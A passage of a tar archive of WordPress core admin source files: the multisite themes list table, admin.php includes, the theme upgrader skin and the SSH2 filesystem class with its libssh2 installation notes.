						'theme'  => $theme_key,
						'paged'  => $page,
						's'      => $s,
					),
					$url
				);

if ( $this->is_site_themes ) {
					/* translators: %s: Theme name. */
					$aria_label = sprintf( __( 'Enable %s' ), $theme->display( 'Name' ) );
				} else {
					/* translators: %s: Theme name. */
					$aria_label = sprintf( __( 'Network Enable %s' ), $theme->display( 'Name' ) );
				}

$actions['enable'] = sprintf(
					'<a href="%s" class="edit" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( $url, 'enable-theme_' . $stylesheet ) ),
					esc_attr( $aria_label ),
					( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) )
				);
			}
		} else {
			$url = add_query_arg(
				array(
					'action' => 'disable',
					'theme'  => $theme_key,
					'paged'  => $page,
					's'      => $s,
				),
				$url
			);

if ( $this->is_site_themes ) {
				/* translators: %s: Theme name. */
				$aria_label = sprintf( __( 'Disable %s' ), $theme->display( 'Name' ) );
			} else {
				/* translators: %s: Theme name. */
				$aria_label = sprintf( __( 'Network Disable %s' ), $theme->display( 'Name' ) );
			}

$actions['disable'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'disable-theme_' . $stylesheet ) ),
				esc_attr( $aria_label ),
				( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) )
			);
		}

if ( ! $allowed && ! $this->is_site_themes
			&& current_user_can( 'delete_themes' )
			&& get_option( 'stylesheet' ) !== $stylesheet
			&& get_option( 'template' ) !== $stylesheet
		) {
			$url = add_query_arg(
				array(
					'action'       => 'delete-selected',
					'checked[]'    => $theme_key,
					'theme_status' => $context,
					'paged'        => $page,
					's'            => $s,
				),
				'themes.php'
			);

/* translators: %s: Theme name. */
			$aria_label = sprintf( _x( 'Delete %s', 'theme' ), $theme->display( 'Name' ) );

$actions['delete'] = sprintf(
				'<a href="%s" class="delete" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'bulk-themes' ) ),
				esc_attr( $aria_label ),
				__( 'Delete' )
			);
		}
		/**
		 * Filters the action links displayed for each theme in the Multisite
		 * themes list table.
		 *
		 * The action links displayed are determined by the theme's status, and
		 * which Multisite themes list table is being displayed - the Network
		 * themes list table (themes.php), which displays all installed themes,
		 * or the Site themes list table (site-themes.php), which displays the
		 * non-network enabled themes when editing a site in the Network admin.
		 *
		 * The default action links for the Network themes list table include
		 * 'Network Enable', 'Network Disable', and 'Delete'.
		 *
		 * The default action links for the Site themes list table include
		 * 'Enable', and 'Disable'.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context );

/**
		 * Filters the action links of a specific theme in the Multisite themes
		 * list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, which in most cases is synonymous
		 * with the template name.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, $context );

echo $this->row_actions( $actions, true );
	}

/**
	 * Handles the description column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_description( $theme ) {
		global $status, $totals;

if ( $theme->errors() ) {
			$pre = 'broken' === $status ? __( 'Broken Theme:' ) . ' ' : '';
			echo '<p><strong class="error-message">' . $pre . $theme->errors()->get_error_message() . '</strong></p>';
		}

if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
			$class .= ' update';
		}

echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div>
			<div class='$class second theme-version-author-uri'>";

$stylesheet = $theme->get_stylesheet();
		$theme_meta = array();

if ( $theme->get( 'Version' ) ) {
			/* translators: %s: Theme version. */
			$theme_meta[] = sprintf( __( 'Version %s' ), $theme->display( 'Version' ) );
		}

/* translators: %s: Theme author. */
		$theme_meta[] = sprintf( __( 'By %s' ), $theme->display( 'Author' ) );

if ( $theme->get( 'ThemeURI' ) ) {
			/* translators: %s: Theme name. */
			$aria_label = sprintf( __( 'Visit %s homepage' ), $theme->display( 'Name' ) );

$theme_meta[] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				$theme->display( 'ThemeURI' ),
				esc_attr( $aria_label ),
				__( 'Visit Theme Site' )
			);
		}

/**
		 * Filters the array of row meta for each theme in the Multisite themes
		 * list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $theme_meta An array of the theme's metadata, including
		 *                             the version, author, and theme URI.
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		$theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status );

echo implode( ' | ', $theme_meta );

echo '</div>';
	}

/**
	 * Handles the auto-updates column output.
	 *
	 * @since 5.5.0
	 *
	 * @global string $status
	 * @global int  $page
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_autoupdates( $theme ) {
		global $status, $page;

static $auto_updates, $available_updates;

if ( ! $auto_updates ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );
		}
		if ( ! $available_updates ) {
			$available_updates = get_site_transient( 'update_themes' );
		}

$stylesheet = $theme->get_stylesheet();

if ( isset( $theme->auto_update_forced ) ) {
			if ( $theme->auto_update_forced ) {
				// Forced on.
				$text = __( 'Auto-updates enabled' );
			} else {
				$text = __( 'Auto-updates disabled' );
			}
			$action     = 'unavailable';
			$time_class = ' hidden';
		} elseif ( empty( $theme->update_supported ) ) {
			$text       = '';
			$action     = 'unavailable';
			$time_class = ' hidden';
		} elseif ( in_array( $stylesheet, $auto_updates, true ) ) {
			$text       = __( 'Disable auto-updates' );
			$action     = 'disable';
			$time_class = '';
		} else {
			$text       = __( 'Enable auto-updates' );
			$action     = 'enable';
			$time_class = ' hidden';
		}

$query_args = array(
			'action'       => "{$action}-auto-update",
			'theme'        => $stylesheet,
			'paged'        => $page,
			'theme_status' => $status,
		);

$url = add_query_arg( $query_args, 'themes.php' );

if ( 'unavailable' === $action ) {
			$html[] = '<span class="label">' . $text . '</span>';
		} else {
			$html[] = sprintf(
				'<a href="%s" class="toggle-auto-update aria-button-if-js" data-wp-action="%s">',
				wp_nonce_url( $url, 'updates' ),
				$action
			);

$html[] = '<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span>';
			$html[] = '<span class="label">' . $text . '</span>';
			$html[] = '</a>';

}

if ( isset( $available_updates->response[ $stylesheet ] ) ) {
			$html[] = sprintf(
				'<div class="auto-update-time%s">%s</div>',
				$time_class,
				wp_get_auto_update_message()
			);
		}

$html = implode( '', $html );

/**
		 * Filters the HTML of the auto-updates setting for each theme in the Themes list table.
		 *
		 * @since 5.5.0
		 *
		 * @param string   $html       The HTML for theme's auto-update setting, including
		 *                             toggle auto-update action link and time to next update.
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      WP_Theme object.
		 */
		echo apply_filters( 'theme_auto_update_setting_html', $html, $stylesheet, $theme );

echo '<div class="notice notice-error notice-alt inline hidden"><p></p></div>';
	}

/**
	 * Handles default column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $theme       The current WP_Theme object.
	 * @param string   $column_name The current column name.
	 */
	public function column_default( $theme, $column_name ) {
		$stylesheet = $theme->get_stylesheet();

/**
		 * Fires inside each custom column of the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $column_name Name of the column.
		 * @param string   $stylesheet  Directory name of the theme.
		 * @param WP_Theme $theme       Current WP_Theme object.
		 */
		do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme );
	}

/**
	 * Handles the output for a single table row.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $item The current WP_Theme object.
	 */
	public function single_row_columns( $item ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
			$extra_classes = '';
			if ( in_array( $column_name, $hidden, true ) ) {
				$extra_classes .= ' hidden';
			}

switch ( $column_name ) {
				case 'cb':
					echo '<th scope="row" class="check-column">';

$this->column_cb( $item );

echo '</th>';
					break;

case 'name':
					$active_theme_label = '';

/* The presence of the site_id property means that this is a subsite view and a label for the active theme needs to be added */
					if ( ! empty( $this->site_id ) ) {
						$stylesheet = get_blog_option( $this->site_id, 'stylesheet' );
						$template   = get_blog_option( $this->site_id, 'template' );

/* Add a label for the active template */
						if ( $item->get_template() === $template ) {
							$active_theme_label = ' &mdash; ' . __( 'Active Theme' );
						}

/* In case this is a child theme, label it properly */
						if ( $stylesheet !== $template && $item->get_stylesheet() === $stylesheet ) {
							$active_theme_label = ' &mdash; ' . __( 'Active Child Theme' );
						}
					}

echo "<td class='theme-title column-primary{$extra_classes}'><strong>" . $item->display( 'Name' ) . $active_theme_label . '</strong>';

$this->column_name( $item );

echo '</td>';
					break;

case 'description':
					echo "<td class='column-description desc{$extra_classes}'>";

$this->column_description( $item );

echo '</td>';
					break;

case 'auto-updates':
					echo "<td class='column-auto-updates{$extra_classes}'>";

$this->column_autoupdates( $item );

echo '</td>';
					break;
				default:
					echo "<td class='$column_name column-$column_name{$extra_classes}'>";

$this->column_default( $item, $column_name );

echo '</td>';
					break;
			}
		}
	}

/**
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme
	 */
	public function single_row( $theme ) {
		global $status, $totals;

if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

$stylesheet = $theme->get_stylesheet();

$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
			$class .= ' update';
		}

printf(
			'<tr class="%s" data-slug="%s">',
			esc_attr( $class ),
			esc_attr( $stylesheet )
		);

$this->single_row_columns( $theme );

echo '</tr>';

if ( $this->is_site_themes ) {
			remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' );
		}

/**
		 * Fires after each row in the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( 'after_theme_row', $stylesheet, $theme, $status );

/**
		 * Fires after each specific row in the Multisite themes list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, most often synonymous with the template
		 * name of the theme.
		 *
		 * @since 3.5.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( "after_theme_row_{$stylesheet}", $stylesheet, $theme, $status );
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������admin.php�������������������������������������������������������������������������������������������0000604�����������������00000006744�15075125354�0006363 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined( 'WP_ADMIN' ) ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
}

/** WordPress Administration Hooks */
require_once ABSPATH . 'wp-admin/includes/admin-filters.php';

/** WordPress Bookmark Administration API */
require_once ABSPATH . 'wp-admin/includes/bookmark.php';

/** WordPress Comment Administration API */
require_once ABSPATH . 'wp-admin/includes/comment.php';

/** WordPress Administration File API */
require_once ABSPATH . 'wp-admin/includes/file.php';

/** WordPress Image Administration API */
require_once ABSPATH . 'wp-admin/includes/image.php';

/** WordPress Media Administration API */
require_once ABSPATH . 'wp-admin/includes/media.php';

/** WordPress Import Administration API */
require_once ABSPATH . 'wp-admin/includes/import.php';

/** WordPress Misc Administration API */
require_once ABSPATH . 'wp-admin/includes/misc.php';

/** WordPress Misc Administration API */
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';

/** WordPress Options Administration API */
require_once ABSPATH . 'wp-admin/includes/options.php';

/** WordPress Plugin Administration API */
require_once ABSPATH . 'wp-admin/includes/plugin.php';

/** WordPress Post Administration API */
require_once ABSPATH . 'wp-admin/includes/post.php';

/** WordPress Administration Screen API */
require_once ABSPATH . 'wp-admin/includes/class-wp-screen.php';
require_once ABSPATH . 'wp-admin/includes/screen.php';

/** WordPress Taxonomy Administration API */
require_once ABSPATH . 'wp-admin/includes/taxonomy.php';

/** WordPress Template Administration API */
require_once ABSPATH . 'wp-admin/includes/template.php';

/** WordPress List Table Administration API and base class */
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php';
require_once ABSPATH . 'wp-admin/includes/list-table.php';

/** WordPress Theme Administration API */
require_once ABSPATH . 'wp-admin/includes/theme.php';

/** WordPress Privacy Functions */
require_once ABSPATH . 'wp-admin/includes/privacy-tools.php';

/** WordPress Privacy List Table classes. */
// Previously in wp-admin/includes/user.php. Need to be loaded for backward compatibility.
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php';

/** WordPress User Administration API */
require_once ABSPATH . 'wp-admin/includes/user.php';

/** WordPress Site Icon API */
require_once ABSPATH . 'wp-admin/includes/class-wp-site-icon.php';

/** WordPress Update Administration API */
require_once ABSPATH . 'wp-admin/includes/update.php';

/** WordPress Deprecated Administration API */
require_once ABSPATH . 'wp-admin/includes/deprecated.php';

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once ABSPATH . 'wp-admin/includes/ms-admin-filters.php';
	require_once ABSPATH . 'wp-admin/includes/ms.php';
	require_once ABSPATH . 'wp-admin/includes/ms-deprecated.php';
}
����������������������������class-theme-upgrader-skin.php�����������������������������������������������������������������������0000604�����������������00000007771�15075125354�0012252 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Theme_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Theme_Upgrader_Skin extends WP_Upgrader_Skin {

/**
	 * Holds the theme slug in the Theme Directory.
	 *
	 * @since 2.8.0
	 *
	 * @var object
	 */
	public $theme = '';

/**
	 * Constructor.
	 *
	 * Sets up the theme upgrader skin.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The theme upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'   => '',
			'theme' => '',
			'nonce' => '',
			'title' => __( 'Update Theme' ),
		);
		$args     = wp_parse_args( $args, $defaults );

$this->theme = $args['theme'];

parent::__construct( $args );
	}

/**
	 * Action to perform following a single theme update.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		$this->decrement_update_count( 'theme' );

$update_actions = array();
		$theme_info     = $this->upgrader->theme_info();
		if ( $theme_info ) {
			$name       = $theme_info->display( 'Name' );
			$stylesheet = $this->upgrader->result['destination_name'];
			$template   = $theme_info->get_template();

$activate_link = add_query_arg(
				array(
					'action'     => 'activate',
					'template'   => urlencode( $template ),
					'stylesheet' => urlencode( $stylesheet ),
				),
				admin_url( 'themes.php' )
			);
			$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

$customize_url = add_query_arg(
				array(
					'theme'  => urlencode( $stylesheet ),
					'return' => urlencode( admin_url( 'themes.php' ) ),
				),
				admin_url( 'customize.php' )
			);

if ( get_stylesheet() === $stylesheet ) {
				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
					$update_actions['preview'] = sprintf(
						'<a href="%s" class="hide-if-no-customize load-customize">' .
						'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
						esc_url( $customize_url ),
						__( 'Customize' ),
						/* translators: %s: Theme name. */
						sprintf( __( 'Customize &#8220;%s&#8221;' ), $name )
					);
				}
			} elseif ( current_user_can( 'switch_themes' ) ) {
				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
					$update_actions['preview'] = sprintf(
						'<a href="%s" class="hide-if-no-customize load-customize">' .
						'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
						esc_url( $customize_url ),
						__( 'Live Preview' ),
						/* translators: %s: Theme name. */
						sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name )
					);
				}

$update_actions['activate'] = sprintf(
					'<a href="%s" class="activatelink">' .
					'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
					esc_url( $activate_link ),
					__( 'Activate' ),
					/* translators: %s: Theme name. */
					sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $name )
				);
			}

if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() ) {
				unset( $update_actions['preview'], $update_actions['activate'] );
			}
		}

$update_actions['themes_page'] = sprintf(
			'<a href="%s" target="_parent">%s</a>',
			self_admin_url( 'themes.php' ),
			__( 'Return to Themes page' )
		);

/**
		 * Filters the list of action links available following a single theme update.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param string   $theme          Theme directory name.
		 */
		$update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme );

if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
�������class-wp-filesystem-ssh2.php������������������������������������������������������������������������0000604�����������������00000052720�15075125354�0012056 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Filesystem Class for implementing SSH2
 *
 * To use this class you must follow these steps for PHP 5.2.6+
 *
 * @contrib http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes
 *
 * Compile libssh2 (Note: Only 0.14 is officaly working with PHP 5.2.6+ right now, But many users have found the latest versions work)
 *
 * cd /usr/src
 * wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
 * tar -zxvf libssh2-0.14.tar.gz
 * cd libssh2-0.14/
 * ./configure
 * make all install
 *
 * Note: Do not leave the directory yet!
 *
 * Enter: pecl install -f ssh2
 *
 * Copy the ssh.so file it creates to your PHP Module Directory.
 * Open up your PHP.INI file and look for where extensions are placed.
 * Add in your PHP.ini file: extension=ssh2.so
 *
 * Restart Apache!
 * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp  exist.
 *
 * Note: As of WordPress 2.8, this utilises the PHP5+ function `stream_get_contents()`.
 *
 * @since 2.7.0
 *
 * @package WordPress
 * @subpackage Filesystem
 */
class WP_Filesystem_SSH2 extends WP_Filesystem_Base {

/**
	 * @since 2.7.0
	 * @var resource
	 */
	public $link = false;

/**
	 * @since 2.7.0
	 * @var resource
	 */
	public $sftp_link;

/**
	 * @since 2.7.0
	 * @var bool
	 */
	public $keys = false;

/**
	 * Constructor.
	 *
	 * @since 2.7.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ssh2';
		$this->errors = new WP_Error();

// Check if possible to use ssh2 functions.
		if ( ! extension_loaded( 'ssh2' ) ) {
			$this->errors->add( 'no_ssh2_ext', __( 'The ssh2 PHP extension is not available' ) );
			return;
		}

// Set defaults:
		if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 22;
		} else {
			$this->options['port'] = $opt['port'];
		}

if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'SSH2 hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

// Check if the options provided are OK.
		if ( ! empty( $opt['public_key'] ) && ! empty( $opt['private_key'] ) ) {
			$this->options['public_key']  = $opt['public_key'];
			$this->options['private_key'] = $opt['private_key'];

$this->options['hostkey'] = array( 'hostkey' => 'ssh-rsa' );

$this->keys = true;
		} elseif ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'SSH2 username is required' ) );
		}

if ( ! empty( $opt['username'] ) ) {
			$this->options['username'] = $opt['username'];
		}

if ( empty( $opt['password'] ) ) {
			// Password can be blank if we are using keys.
			if ( ! $this->keys ) {
				$this->errors->add( 'empty_password', __( 'SSH2 password is required' ) );
			}
		} else {
			$this->options['password'] = $opt['password'];
		}
	}

/**
	 * Connects filesystem.
	 *
	 * @since 2.7.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( ! $this->keys ) {
			$this->link = @ssh2_connect( $this->options['hostname'], $this->options['port'] );
		} else {
			$this->link = @ssh2_connect( $this->options['hostname'], $this->options['port'], $this->options['hostkey'] );
		}

if ( ! $this->link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to SSH2 Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

return false;
		}

if ( ! $this->keys ) {
			if ( ! @ssh2_auth_password( $this->link, $this->options['username'], $this->options['password'] ) ) {
				$this->errors->add(
					'auth',
					sprintf(
						/* translators: %s: Username. */
						__( 'Username/Password incorrect for %s' ),
						$this->options['username']
					)
				);

return false;
			}
		} else {
			if ( ! @ssh2_auth_pubkey_file( $this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) {
				$this->errors->add(
					'auth',
					sprintf(
						/* translators: %s: Username. */
						__( 'Public and Private keys incorrect for %s' ),
						$this->options['username']
					)
				);

return false;
			}
		}

$this->sftp_link = ssh2_sftp( $this->link );

if ( ! $this->sftp_link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to initialize a SFTP subsystem session with the SSH2 Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

return false;
		}

return true;
	}

/**
	 * Gets the ssh2.sftp PHP stream wrapper path to open for the given file.
	 *
	 * This method also works around a PHP bug where the root directory (/) cannot
	 * be opened by PHP functions, causing a false failure. In order to work around
	 * this, the path is converted to /./ which is semantically the same as /
	 * See https://bugs.php.net/bug.php?id=64169 for more details.
	 *
	 * @since 4.4.0
	 *
	 * @param string $path The File/Directory path on the remote server to return
	 * @return string The ssh2.sftp:// wrapped path to use.
	 */
	public function sftp_path( $path ) {
		if ( '/' === $path ) {
			$path = '/./';
		}

return 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $path, '/' );
	}

/**
	 * @since 2.7.0
	 *
	 * @param string $command
	 * @param bool   $returnbool
	 * @return bool|string True on success, false on failure. String if the command was executed, `$returnbool`
	 *                     is false (default), and data from the resulting stream was retrieved.
	 */
	public function run_command( $command, $returnbool = false ) {
		if ( ! $this->link ) {
			return false;
		}

$stream = ssh2_exec( $this->link, $command );

if ( ! $stream ) {
			$this->errors->add(
				'command',
				sprintf(
					/* translators: %s: Command. */
					__( 'Unable to perform command: %s' ),
					$command
				)
			);
		} else {
			stream_set_blocking( $stream, true );
			stream_set_timeout( $stream, FS_TIMEOUT );
			$data = stream_get_contents( $stream );
			fclose( $stream );

if ( $returnbool ) {
				return ( false === $data ) ? false : '' !== trim( $data );
			} else {
				return $data;
			}
		}

return false;
	}

/**
	 * Reads entire file into a string.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		return file_get_contents( $this->sftp_path( $file ) );
	}

/**
	 * Reads entire file into an array.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return file( $this->sftp_path( $file ) );
	}

/**
	 * Writes a string to a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$ret = file_put_contents( $this->sftp_path( $file ), $contents );

if ( strlen( $contents ) !== $ret ) {
			return false;
		}

$this->chmod( $file, $mode );

return true;
	}

/**
	 * Gets the current working directory.
	 *
	 * @since 2.7.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = ssh2_sftp_realpath( $this->sftp_link, '.' );

if ( $cwd ) {
			$cwd = trailingslashit( trim( $cwd ) );
		}

return $cwd;
	}

/**
	 * Changes current directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return $this->run_command( 'cd ' . $dir, true );
	}

/**
	 * Changes the file group.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chgrp %s %s', escapeshellarg( $group ), escapeshellarg( $file ) ), true );
		}

return $this->run_command( sprintf( 'chgrp -R %s %s', escapeshellarg( $group ), escapeshellarg( $file ) ), true );
	}

/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chmod %o %s', $mode, escapeshellarg( $file ) ), true );
		}

return $this->run_command( sprintf( 'chmod -R %o %s', $mode, escapeshellarg( $file ) ), true );
	}

/**
	 * Changes the owner of a file or directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chown %s %s', escapeshellarg( $owner ), escapeshellarg( $file ) ), true );
		}

return $this->run_command( sprintf( 'chown -R %s %s', escapeshellarg( $owner ), escapeshellarg( $file ) ), true );
	}

/**
	 * Gets the file owner.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$owneruid = @fileowner( $this->sftp_path( $file ) );

if ( ! $owneruid ) {
			return false;
		}

if ( ! function_exists( 'posix_getpwuid' ) ) {
			return $owneruid;
		}

$ownerarray = posix_getpwuid( $owneruid );

if ( ! $ownerarray ) {
			return false;
		}

return $ownerarray['name'];
	}

/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return substr( decoct( @fileperms( $this->sftp_path( $file ) ) ), -3 );
	}

/**
	 * Gets the file's group.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$gid = @filegroup( $this->sftp_path( $file ) );

if ( ! $gid ) {
			return false;
		}

if ( ! function_exists( 'posix_getgrgid' ) ) {
			return $gid;
		}

$grouparray = posix_getgrgid( $gid );

if ( ! $grouparray ) {
			return false;
		}

return $grouparray['name'];
	}

/**
	 * Copies a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
